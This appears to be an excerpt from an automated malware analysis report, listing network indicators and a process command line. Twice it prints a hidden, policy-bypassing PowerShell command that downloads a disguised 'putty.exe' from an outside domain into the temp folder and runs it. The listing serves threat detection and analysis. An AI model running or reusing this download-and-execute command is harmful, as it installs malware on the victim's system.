Technical Information
- http://daiwacorp-japan.com/admin/css/outlook/putty.exe as %temp%\puttyx86.exe
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://daiwacorp-japan.com/admin/css/outlook/putty.exe','%TEMP%\puttyx86.exe'); Start-Process('%TEMP%...
- 'da####orp-japan.com':80
- http://da####orp-japan.com/admin/css/outlook/putty.exe
- http://www.da####orp-japan.com/admin/css/outlook/putty.exe
- DNS ASK da####orp-japan.com
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://daiwacorp-japan.com/admin/css/outlook/putty.exe','%TEMP%\puttyx86.exe'); Start-Process('%TEMP%...' (with hidden window)